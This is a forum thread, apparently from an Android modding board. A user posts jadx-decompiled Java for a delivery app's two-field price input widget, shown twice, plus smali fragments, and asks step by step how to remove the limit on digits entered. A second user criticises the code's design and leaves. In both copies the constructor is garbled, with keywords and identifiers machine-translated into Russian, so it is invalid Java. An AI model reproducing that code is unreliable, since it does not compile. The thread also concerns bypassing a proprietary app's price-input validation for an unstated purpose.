d = doubleOrNull.doubleValue();
} else {
d = 0.0d;
}
this.innerPrice = d;
OnPriceChangeListener onPriceChangeListener = this.onPriceChangeListener;
if (onPriceChangeListener != null) {
onPriceChangeListener.onPriceChanged(d);
}
}
private final void setEditTextsError() {
int i;
if (this.errorEnabled) {
i = this.redColor;
} else {
i = this.greenColor;
}
this.binding.editTextInteger.setTextColor(i);
this.binding.editTextDecimal.setTextColor(i);
}
private final void setShouldShowDecimals(boolean z) {
int i;
this.shouldShowDecimals = z;
EditText editText = this.binding.editTextDecimal;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextDecimal");
if (z) {
i = 0;
} else {
i = 8;
}
editText.setVisibility(i);
if (!z) {
this.binding.editTextInteger.requestFocus();
EditText editText2 = this.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText2, "binding.editTextInteger");
l.a(editText2);
this.binding.editTextInteger.setTextAlignment(4);
this.binding.editTextDecimal.setText((CharSequence) null);
return;
}
this.binding.editTextInteger.setTextAlignment(3);
}
private final void setUnderlineError() {
setUnderlineState(this.binding.editTextInteger.hasFocus() || this.binding.editTextDecimal.hasFocus());
}
private final void setUnderlineState(boolean focused) {
int i;
ViewGroup.LayoutParams layoutParams = this.binding.underline.getLayoutParams();
View view = this.binding.underline;
if (focused) {
layoutParams.height = getContext().getResources().getDimensionPixelSize(e.underline_height_focused);
i = this.greenColor;
} else {
layoutParams.height = getContext().getResources().getDimensionPixelSize(e.underline_height);
i = this.grayColor;
}
view.setBackgroundColor(i);
if (this.errorEnabled) {
this.binding.underline.setBackgroundColor(this.redColor);
}
this.binding.underline.setLayoutParams(layoutParams);
this.binding.underline.requestLayout();
}
public final PriceEditTextBinding getBinding() {
return this.binding;
}
public final int getDecimalDigits() {
return this.decimalDigits;
}
public final boolean getErrorEnabled() {
return this.errorEnabled;
}
public final int getIntegerDigits() {
return this.integerDigits;
}
public final OnPriceChangeListener getOnPriceChangeListener() {
return this.onPriceChangeListener;
}
/* renamed from: getPrice reason: from getter */
public final double getInnerPrice() {
return this.innerPrice;
}
@override // android.view.View
public void onFinishInflate() {
super.onFinishInflate();
setOrientation(1);
setIntegerDigits(DEFAULT_INTEGER_DIGITS);
setDecimalDigits(DEFAULT_DECIMAL_DIGITS);
this.binding.editTextInteger.addTextChangedListener(this.integerTextWatcher);
this.binding.editTextInteger.setOnFocusChangeListener(new a(this));
this.binding.editTextInteger.setOnKeyListener(new b(this));
this.binding.editTextDecimal.addTextChangedListener(this.decimalTextWatcher);
this.binding.editTextDecimal.setOnFocusChangeListener(new c(this));
this.binding.editTextDecimal.setOnKeyListener(new d(this));
}
public final void setDecimalDigits(int i) {
boolean z;
boolean z2;
if (i >= 0) {
if (this.decimalDigits > i) {
z = true;
} else {
z = false;
}
this.decimalDigits = i;
if (i > 0) {
z2 = true;
} else {
z2 = false;
}
setShouldShowDecimals(z2);
this.binding.editTextDecimal.setFilters(new InputFilter.LengthFilter[]{new InputFilter.LengthFilter(i)});
this.binding.editTextDecimal.setHint(StringsKt.w(this.zeroChar, i));
if (z) {
EditText editText = this.binding.editTextDecimal;
editText.setText(editText.getText());
return;
}
return;
}
throw new IllegalArgumentException(a.b("decimalDigits can't be < 0 but is: ", i));
}
@override // android.view.View
public void setEnabled(boolean enabled) {
super.setEnabled(enabled);
this.binding.editTextInteger.setEnabled(enabled);
this.binding.editTextDecimal.setEnabled(enabled);
}
public final void setErrorEnabled(boolean z) {
this.errorEnabled = z;
setEditTextsError();
setUnderlineError();
}
public final void setIntegerDigits(int i) {
if (i >= 0) {
this.integerDigits = i;
this.binding.editTextInteger.setFilters(new InputFilter.LengthFilter[]{new InputFilter.LengthFilter(i)});
return;
}
throw new IllegalArgumentException(a.b("integerDigits can't be < 0 but is: ", i));
}
public final void setOnPriceChangeListener(OnPriceChangeListener onPriceChangeListener) {
this.onPriceChangeListener = onPriceChangeListener;
}
public final void setPrice(double d) {
if (d >= 0.0d) {
this.innerPrice = d;
onPriceSet(d);
return;
}
throw new IllegalArgumentException("price can't be < 0.0 but is: " + d);
}
/* JADX WARN: 'super' call moved to the top of the method (can break code semantics) */
@JvmOverloads
public PriceEditText (контекст контекста, набор атрибутов AttributeSet, int i) {
супер(контекст, набор атрибутов, я);
Intrinsics.checkNotNullParameter(контекст, "контекст");
PriceEditTextBinding inflate = PriceEditTextBinding.inflate(LayoutInflater.from(context), this);
Intrinsics.checkNotNullExpressionValue(inflate, "inflate(LayoutInflater.from(context), this)");
this.binding = раздувать;
Строка строка = context.getString(j.zero);
Intrinsics.checkNotNullExpressionValue(строка, "context.getString(com.gl…app.design.R.string.zero)");
this.zeroChar = строка;
this.integerTextWatcher = новый IntegerTextWatcher (это);
this.decimalTextWatcher = новый DecimalTextWatcher (это);
Палитра палитра = Palette.f;
Объект obj = t3.aa;
this.greenColor = ada (контекст, палитра.c);
this.grayColor = ada(контекст, Palette.wc);
this.redColor = ada(context, Palette.mc);
this.shouldShowDecimals = истина;
this.integerDigits = DEFAULT_INTEGER_DIGITS;
this.decimalDigits = DEFAULT_DECIMAL_DIGITS;
}
}
Renate said:
Java:
package glovoapp.delivery.detail.pickup.upload.quiero;
import android.content.Context;
import android.support.v4.media.a;
import android.text.Editable;
import android.text.InputFilter;
import android.util.AttributeSet;
import android.view.KeyEvent;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.EditText;
import android.widget.LinearLayout;
import android.widget.TextView;
import com.glovoapp.theme.Palette;
import g3.b;
import glovoapp.delivery.crossdocking.databinding.PriceEditTextBinding;
import glovoapp.utils.l;
import hu.e;
import hu.j;
import java.util.Arrays;
import java.util.List;
import java.util.ListIterator;
import java.util.Locale;
import kotlin.Metadata;
import kotlin.collections.CollectionsKt;
import kotlin.jvm.JvmOverloads;
import kotlin.jvm.internal.DefaultConstructorMarker;
import kotlin.jvm.internal.Intrinsics;
import kotlin.jvm.internal.SourceDebugExtension;
import kotlin.jvm.internal.StringCompanionObject;
import kotlin.text.Regex;
import kotlin.text.StringsKt;
import t3.a;
@Metadata(d1 = {"\u0000f\n\u0002\u0018\u0002\n\u0002\u0018\u0002\n\u0000\n\u0002\u0018\u0002\n\u0000\n\u0002\u0018\u0002\n\u0000\n\u0002\u0010\b\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0002\b\t\n\u0002\u0018\u0002\n\u0002\u0010\u000b\n\u0002\b\b\n\u0002\u0010\u0006\n\u0002\b\u0004\n\u0002\u0018\u0002\n\u0000\n\u0002\u0018\u0002\n\u0002\b\r\n\u0002\u0010\u000e\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0000\n\u0002\u0010\f\n\u0002\b\u0002\n\u0002\u0010\u0002\n\u0002\b\r\b\u0007\u0018\u0000 D2\u00020\u0001:\u0004DEFGB%\b\u0007\u0012\u0006\u0010\u0002\u001a\u00020\u0003\u0012\n\b\u0002\u0010\u0004\u001a\u0004\u0018\u00010\u0005\u0012\b\b\u0002\u0010\u0006\u001a\u00020\u0007¢\u0006\u0002\u0010\bJ\u0018\u00104\u001a\u00020\u00152\u0006\u00105\u001a\u0002062\u0006\u00107\u001a\u000208H\u0002J\u0010\u00109\u001a\u00020\u00152\u0006\u00105\u001a\u000206H\u0002J\b\u0010:\u001a\u00020;H\u0014J\u0010\u0010<\u001a\u00020;2\u0006\u0010*\u001a\u00020\u001eH\u0002J\b\u0010=\u001a\u00020;H\u0002J\b\u0010>\u001a\u00020;H\u0002J\u0010\u0010?\u001a\u00020;2\u0006\[email protected]\u001a\u00020\u0015H\u0016J\b\u0010A\u001a\u00020;H\u0002J\u0010\u0010B\u001a\u00020;2\u0006\u0010C\u001a\u00020\u0015H\u0002R\u0011\u0010\t\u001a\u00020\n¢\u0006\b\n\u0000\u001a\u0004\b\u000b\u0010\fR$\u0010\u000e\u001a\u00020\u00072\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b\u000f\u0010\u0010\"\u0004\b\u0011\u0010\u0012R\u0012\u0010\u0013\u001a\u00060\u0014R\u00020\u0000X\u0082\u0004¢\u0006\u0002\n\u0000R$\u0010\u0016\u001a\u00020\u00152\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b\u0017\u0010\u0018\"\u0004\b\u0019\u0010\u001aR\u0010\u0010\u001b\u001a\u00020\u00078\u0002X\u0083\u0004¢\u0006\u0002\n\u0000R\u0010\u0010\u001c\u001a\u00020\u00078\u0002X\u0083\u0004¢\u0006\u0002\n\u0000R\u000e\u0010\u001d\u001a\u00020\u001eX\u0082\u000e¢\u0006\u0002\n\u0000R$\u0010\u001f\u001a\u00020\u00072\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b \u0010\u0010\"\u0004\b!\u0010\u0012R\u0012\u0010\"\u001a\u00060#R\u00020\u0000X\u0082\u0004¢\u0006\u0002\n\u0000R\u001c\u0010$\u001a\u0004\u0018\u00010%X\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b&\u0010'\"\u0004\b(\u0010)R$\u0010*\u001a\u00020\u001e2\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\f\u001a\u0004\b+\u0010,\"\u0004\b-\u0010.R\u0010\u0010/\u001a\u00020\u00078\u0002X\u0083\u0004¢\u0006\u0002\n\u0000R\u001e\u00100\u001a\u00020\u00152\u0006\u0010\r\u001a\u00020\[email protected]\u0082\u000e¢\u0006\b\n\u0000\"\u0004\b1\u0010\u001aR\u000e\u00102\u001a\u000203X\u0082\u0004¢\u0006\u0002\n\u0000¨\u0006H"}, d2 = {"Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText;", "Landroid/widget/LinearLayout;", "context", "Landroid/content/Context;", "attrs", "Landroid/util/AttributeSet;", "defStyleAttr", "", "(Landroid/content/Context;Landroid/util/AttributeSet;I)V", "binding", "Lglovoapp/delivery/crossdocking/databinding/PriceEditTextBinding;", "getBinding", "()Lglovoapp/delivery/crossdocking/databinding/PriceEditTextBinding;", "value", "decimalDigits", "getDecimalDigits", "()I", "setDecimalDigits", "(I)V", "decimalTextWatcher", "Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$DecimalTextWatcher;", "", "errorEnabled", "getErrorEnabled", "()Z", "setErrorEnabled", "(Z)V", "grayColor", "greenColor", "innerPrice", "", "integerDigits", "getIntegerDigits", "setIntegerDigits", "integerTextWatcher", "Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$IntegerTextWatcher;", "onPriceChangeListener", "Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$OnPriceChangeListener;", "getOnPriceChangeListener", "()Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$OnPriceChangeListener;", "setOnPriceChangeListener", "(Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$OnPriceChangeListener;)V", "price", "getPrice", "()D", "setPrice", "(D)V", "redColor", "shouldShowDecimals", "setShouldShowDecimals", "zeroChar", "", "checkDecimalPointEvent", "s", "Landroid/text/Editable;", "char", "", "checkEmptyInteger", "onFinishInflate", "", "onPriceSet", "onPriceTextChanged", "setEditTextsError", "setEnabled", "enabled", "setUnderlineError", "setUnderlineState", "focused", "Companion", "DecimalTextWatcher", "IntegerTextWatcher", "OnPriceChangeListener", "delivery-crossdocking_release"}, k = 1, mv = {1, 8, PriceEditText.$stable}, xi = 48)
@SourceDebugExtension({"SMAP\nPriceEditText.kt\nKotlin\n*S Kotlin\n*F\n+ 1 PriceEditText.kt\nglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText\n+ 2 View.kt\nandroidx/core/view/ViewKt\n+ 3 _Collections.kt\nkotlin/collections/CollectionsKt___CollectionsKt\n+ 4 ArraysJVM.kt\nkotlin/collections/ArraysKt__ArraysJVMKt\n*L\n1#1,317:1\n262#2,2:318\n731#3,9:320\n37#4,2:329\n*S KotlinDebug\n*F\n+ 1 PriceEditText.kt\nglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText\n*L\n47#1:318,2\n229#1:320,9\n230#1:329,2\n*E\n"})
/* loaded from: C:\Users\Diren\AppData\Local\Temp\jadx-18309976577588970056.dex */
public final class PriceEditText extends LinearLayout {
private static final int DEFAULT_DECIMAL_DIGITS = 2;
private static final int DEFAULT_INTEGER_DIGITS = 6;
private final PriceEditTextBinding binding;
private int decimalDigits;
private final DecimalTextWatcher decimalTextWatcher;
private boolean errorEnabled;
private final int grayColor;
private final int greenColor;
private double innerPrice;
private int integerDigits;
private final IntegerTextWatcher integerTextWatcher;
private OnPriceChangeListener onPriceChangeListener;
private final int redColor;
private boolean shouldShowDecimals;
private final String zeroChar;
public static final Companion Companion = new Companion((DefaultConstructorMarker) null);
public static final int $stable = 8;
/* JADX WARN: 'this' call moved to the top of the method (can break code semantics) */
@JvmOverloads
public PriceEditText(Context context) {
this(context, null, 0, DEFAULT_INTEGER_DIGITS, null);
Intrinsics.checkNotNullParameter(context, "context");
}
/* JADX WARN: 'this' call moved to the top of the method (can break code semantics) */
@JvmOverloads
public PriceEditText(Context context, AttributeSet attributeSet) {
this(context, attributeSet, 0, 4, null);
Intrinsics.checkNotNullParameter(context, "context");
}
public /* synthetic */ PriceEditText(Context context, AttributeSet attributeSet, int i, int i2, DefaultConstructorMarker defaultConstructorMarker) {
this(context, (i2 & DEFAULT_DECIMAL_DIGITS) != 0 ? null : attributeSet, (i2 & 4) != 0 ? 0 : i);
}
/* JADX INFO: Access modifiers changed from: private */
public final boolean checkDecimalPointEvent(Editable s, char r5) {
int o = StringsKt.o(s, r5, 0, false, (int) DEFAULT_INTEGER_DIGITS);
if (o == -1) {
return false;
}
this.binding.editTextInteger.setText(StringsKt.removeRange(s, o, o + 1), TextView.BufferType.NORMAL);
if (!this.shouldShowDecimals) {
EditText editText = this.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextInteger");
l.a(editText);
return true;
}
this.binding.editTextDecimal.requestFocus();
this.binding.editTextDecimal.setSelection(0);
return true;
}
/* JADX INFO: Access modifiers changed from: private */
public final boolean checkEmptyInteger(Editable s) {
if (StringsKt.isBlank(s)) {
Intrinsics.checkNotNullExpressionValue(this.binding.editTextDecimal.getText(), "binding.editTextDecimal.text");
if ((!StringsKt.isBlank(r3)) != false && this.shouldShowDecimals) {
this.integerTextWatcher.byDisabling(new checkEmptyInteger.1(this));
EditText editText = this.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextInteger");
l.a(editText);
return true;
}
return false;
}
return false;
}
/* JADX INFO: Access modifiers changed from: private */
public static final void onFinishInflate$lambda$0(PriceEditText priceEditText, View view, boolean z) {
boolean z2;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
if (!z && !priceEditText.binding.editTextDecimal.hasFocus()) {
z2 = false;
} else {
z2 = true;
}
priceEditText.setUnderlineState(z2);
}
/* JADX INFO: Access modifiers changed from: private */
public static final boolean onFinishInflate$lambda$1(PriceEditText priceEditText, View view, int i, KeyEvent keyEvent) {
boolean z;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
if (i == 22 && keyEvent.getAction() == 0) {
EditText editText = priceEditText.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextInteger");
int length = priceEditText.binding.editTextInteger.getText().length();
Intrinsics.checkNotNullParameter(editText, "<this>");
if (editText.getSelectionStart() == length && editText.getSelectionEnd() == length) {
z = true;
} else {
z = false;
}
if (z) {
priceEditText.binding.editTextDecimal.requestFocus();
priceEditText.binding.editTextDecimal.setSelection(0);
return true;
}
}
return false;
}
/* JADX INFO: Access modifiers changed from: private */
public static final void onFinishInflate$lambda$2(PriceEditText priceEditText, View view, boolean z) {
boolean z2;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
boolean z3 = false;
if (!z && !priceEditText.binding.editTextInteger.hasFocus()) {
z2 = false;
} else {
z2 = true;
}
priceEditText.setUnderlineState(z2);
if (z) {
Editable text = priceEditText.binding.editTextInteger.getText();
if (text == null || text.length() == 0) {
z3 = true;
}
if (z3) {
priceEditText.binding.editTextInteger.setText(priceEditText.zeroChar, TextView.BufferType.NORMAL);
}
}
}
/* JADX INFO: Access modifiers changed from: private */
public static final boolean onFinishInflate$lambda$3(PriceEditText priceEditText, View view, int i, KeyEvent keyEvent) {
boolean z;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
if ((i == 67 || i == 21) && keyEvent.getAction() == 0) {
EditText editText = priceEditText.binding.editTextDecimal;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextDecimal");
Intrinsics.checkNotNullParameter(editText, "<this>");
if (editText.getSelectionStart() == 0 && editText.getSelectionEnd() == 0) {
z = true;
} else {
z = false;
}
if (z) {
priceEditText.binding.editTextInteger.requestFocus();
EditText editText2 = priceEditText.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText2, "binding.editTextInteger");
l.a(editText2);
return true;
}
}
return false;
}
private final void onPriceSet(double price) {
boolean z;
List emptyList;
boolean z2;
boolean z3;
if (price == 0.0d) {
z = true;
} else {
z = false;
}
if (z) {
this.integerTextWatcher.byDisabling(new onPriceSet.1(this));
this.decimalTextWatcher.byDisabling(new onPriceSet.2(this));
OnPriceChangeListener onPriceChangeListener = this.onPriceChangeListener;
if (onPriceChangeListener != null) {
onPriceChangeListener.onPriceChanged(price);
return;
}
return;
}
StringCompanionObject stringCompanionObject = StringCompanionObject.INSTANCE;
String format = String.format(Locale.US, b.g("%.", this.decimalDigits, "f"), Arrays.copyOf(new Object[]{Double.valueOf(price)}, 1));
Intrinsics.checkNotNullExpressionValue(format, "format(locale, format, *args)");
List split = new Regex("\\.").split(StringsKt.x(format, ',', '.'), 0);
if (!split.isEmpty()) {
ListIterator listIterator = split.listIterator(split.size());
while (listIterator.hasPrevious()) {
if (((String) listIterator.previous()).length() == 0) {
z3 = true;
} else {
z3 = false;
}
if (!z3) {
emptyList = CollectionsKt.take(split, listIterator.nextIndex() + 1);
break;
}
}
}
emptyList = CollectionsKt.emptyList();
String[] strArr = (String[]) emptyList.toArray(new String[0]);
if (strArr.length == 0) {
z2 = true;
} else {
z2 = false;
}
if ((!z2) != false) {
this.integerTextWatcher.byDisabling(new onPriceSet.3(this, strArr[0]));
}
if (strArr.length > 1) {
this.decimalTextWatcher.byDisabling(new onPriceSet.4(this, strArr[1]));
}
OnPriceChangeListener onPriceChangeListener2 = this.onPriceChangeListener;
if (onPriceChangeListener2 != null) {
onPriceChangeListener2.onPriceChanged(price);
}
}
/* JADX INFO: Access modifiers changed from: private */
public final void onPriceTextChanged() {
int i;
double d;
String obj = this.binding.editTextInteger.getText().toString();
String obj2 = this.binding.editTextDecimal.getText().toString();
Integer intOrNull = StringsKt.toIntOrNull(obj);
int i2 = 0;
if (intOrNull != null) {
i = intOrNull.intValue();
} else {
i = 0;
}
Integer intOrNull2 = StringsKt.toIntOrNull(obj2);
if (intOrNull2 != null) {
i2 = intOrNull2.intValue();
}
Double doubleOrNull = StringsKt.toDoubleOrNull(i + "." + i2);
if (doubleOrNull != null) {
d = doubleOrNull.doubleValue();
} else {
d = 0.0d;
}
this.innerPrice = d;
OnPriceChangeListener onPriceChangeListener = this.onPriceChangeListener;
if (onPriceChangeListener != null) {
onPriceChangeListener.onPriceChanged(d);
}
}
private final void setEditTextsError() {
int i;
if (this.errorEnabled) {
i = this.redColor;
} else {
i = this.greenColor;
}
this.binding.editTextInteger.setTextColor(i);
this.binding.editTextDecimal.setTextColor(i);
}
private final void setShouldShowDecimals(boolean z) {
int i;
this.shouldShowDecimals = z;
EditText editText = this.binding.editTextDecimal;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextDecimal");
if (z) {
i = 0;
} else {
i = 8;
}
editText.setVisibility(i);
if (!z) {
this.binding.editTextInteger.requestFocus();
EditText editText2 = this.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText2, "binding.editTextInteger");
l.a(editText2);
this.binding.editTextInteger.setTextAlignment(4);
this.binding.editTextDecimal.setText((CharSequence) null);
return;
}
this.binding.editTextInteger.setTextAlignment(3);
}
private final void setUnderlineError() {
setUnderlineState(this.binding.editTextInteger.hasFocus() || this.binding.editTextDecimal.hasFocus());
}
private final void setUnderlineState(boolean focused) {
int i;
ViewGroup.LayoutParams layoutParams = this.binding.underline.getLayoutParams();
View view = this.binding.underline;
if (focused) {
layoutParams.height = getContext().getResources().getDimensionPixelSize(e.underline_height_focused);
i = this.greenColor;
} else {
layoutParams.height = getContext().getResources().getDimensionPixelSize(e.underline_height);
i = this.grayColor;
}
view.setBackgroundColor(i);
if (this.errorEnabled) {
this.binding.underline.setBackgroundColor(this.redColor);
}
this.binding.underline.setLayoutParams(layoutParams);
this.binding.underline.requestLayout();
}
public final PriceEditTextBinding getBinding() {
return this.binding;
}
public final int getDecimalDigits() {
return this.decimalDigits;
}
public final boolean getErrorEnabled() {
return this.errorEnabled;
}
public final int getIntegerDigits() {
return this.integerDigits;
}
public final OnPriceChangeListener getOnPriceChangeListener() {
return this.onPriceChangeListener;
}
/* renamed from: getPrice reason: from getter */
public final double getInnerPrice() {
return this.innerPrice;
}
@override // android.view.View
public void onFinishInflate() {
super.onFinishInflate();
setOrientation(1);
setIntegerDigits(DEFAULT_INTEGER_DIGITS);
setDecimalDigits(DEFAULT_DECIMAL_DIGITS);
this.binding.editTextInteger.addTextChangedListener(this.integerTextWatcher);
this.binding.editTextInteger.setOnFocusChangeListener(new a(this));
this.binding.editTextInteger.setOnKeyListener(new b(this));
this.binding.editTextDecimal.addTextChangedListener(this.decimalTextWatcher);
this.binding.editTextDecimal.setOnFocusChangeListener(new c(this));
this.binding.editTextDecimal.setOnKeyListener(new d(this));
}
public final void setDecimalDigits(int i) {
boolean z;
boolean z2;
if (i >= 0) {
if (this.decimalDigits > i) {
z = true;
} else {
z = false;
}
this.decimalDigits = i;
if (i > 0) {
z2 = true;
} else {
z2 = false;
}
setShouldShowDecimals(z2);
this.binding.editTextDecimal.setFilters(new InputFilter.LengthFilter[]{new InputFilter.LengthFilter(i)});
this.binding.editTextDecimal.setHint(StringsKt.w(this.zeroChar, i));
if (z) {
EditText editText = this.binding.editTextDecimal;
editText.setText(editText.getText());
return;
}
return;
}
throw new IllegalArgumentException(a.b("decimalDigits can't be < 0 but is: ", i));
}
@override // android.view.View
public void setEnabled(boolean enabled) {
super.setEnabled(enabled);
this.binding.editTextInteger.setEnabled(enabled);
this.binding.editTextDecimal.setEnabled(enabled);
}
public final void setErrorEnabled(boolean z) {
this.errorEnabled = z;
setEditTextsError();
setUnderlineError();
}
public final void setIntegerDigits(int i) {
if (i >= 0) {
this.integerDigits = i;
this.binding.editTextInteger.setFilters(new InputFilter.LengthFilter[]{new InputFilter.LengthFilter(i)});
return;
}
throw new IllegalArgumentException(a.b("integerDigits can't be < 0 but is: ", i));
}
public final void setOnPriceChangeListener(OnPriceChangeListener onPriceChangeListener) {
this.onPriceChangeListener = onPriceChangeListener;
}
public final void setPrice(double d) {
if (d >= 0.0d) {
this.innerPrice = d;
onPriceSet(d);
return;
}
throw new IllegalArgumentException("price can't be < 0.0 but is: " + d);
}
/* JADX WARN: 'super' call moved to the top of the method (can break code semantics) */
@JvmOverloads
public PriceEditText (контекст контекста, набор атрибутов AttributeSet, int i) {
супер(контекст, набор атрибутов, я);
Intrinsics.checkNotNullParameter(контекст, "контекст");
PriceEditTextBinding inflate = PriceEditTextBinding.inflate(LayoutInflater.from(context), this);
Intrinsics.checkNotNullExpressionValue(inflate, "inflate(LayoutInflater.from(context), this)");
this.binding = раздувать;
Строка строка = context.getString(j.zero);
Intrinsics.checkNotNullExpressionValue(строка, "context.getString(com.gl…app.design.R.string.zero)");
this.zeroChar = строка;
this.integerTextWatcher = новый IntegerTextWatcher (это);
this.decimalTextWatcher = новый DecimalTextWatcher (это);
Палитра палитра = Palette.f;
Объект obj = t3.aa;
this.greenColor = ada (контекст, палитра.c);
this.grayColor = ada(контекст, Palette.wc);
this.redColor = ada(context, Palette.mc);
this.shouldShowDecimals = истина;
this.integerDigits = DEFAULT_INTEGER_DIGITS;
this.decimalDigits = DEFAULT_DECIMAL_DIGITS;
}
}
Click to expand...
Click to collapse
I am sorry. But I'm just getting started with java.
How can I understand what needs to be changed in the code?
So that the application does not block the input of more than 4 digits.
You need to be able to enter 6 digits in a line.
Please help me.
I'm willing to pay money for help.
Write me what to do step by step.
Here is the line:
this.binding.editTextDecimal.setFilters(new InputFilter.LengthFilter[]{new InputFilter.LengthFilter(i)});
Where "i" is supposedly 4.
Whoever wrote this code should be shot.
Using a custom LinearLayout with separate integer value and decimal fraction?
With two separate EditText you may be typing to decimals when you think that you're typing to integers.
I can't read the error message in the video.
Renate said:
Whoever wrote this code should be shot.
Using a custom LinearLayout with separate integer value and decimal fraction?
With two separate EditText you may be typing to decimals when you think that you're typing to integers.
I can't read the error message in the video.
Click to expand...
Click to collapse
You don't have to pay attention to the error.
I can `t get it
this.binding.editTextDecimal.setFilters(new InputFilter.LengthFilter[]{new InputFilter.LengthFilter(i)});
(i) is the number the user enters
What needs to be changed in the code? so that the user can enter more than 4 digits
In the smali:
new-array v1, v1, [Landroid/text/InputFilter$LengthFilter;
.line 27
.line 28
new-instance v4, Landroid/text/InputFilter$LengthFilter;
.line 29
.line 30
invoke-direct {v4, p1}, Landroid/text/InputFilter$LengthFilter;-><init>(I)V
.line 31
.line 32
.line 33
aput-object v4, v1, v2
new-array v1, v1, [Landroid/text/InputFilter$LengthFilter;
.line 11
.line 12
new-instance v2, Landroid/text/InputFilter$LengthFilter;
.line 13
.line 14
invoke-direct {v2, p1}, Landroid/text/InputFilter$LengthFilter;-><init>(I)V
.line 15
.line 16
.line 17
How to understand which line is responsible for integer values and which for decimal fraction?
What does <init> stand for in code?
And in the byte code, I did not figure out where the limit on the numeric value (I) is set
.smali
direngetpc said:
You don't have to pay attention to the error.
Click to expand...
Click to collapse
You're right. I don't have to.
Renate wanders off and reads a book...

Categories

Resources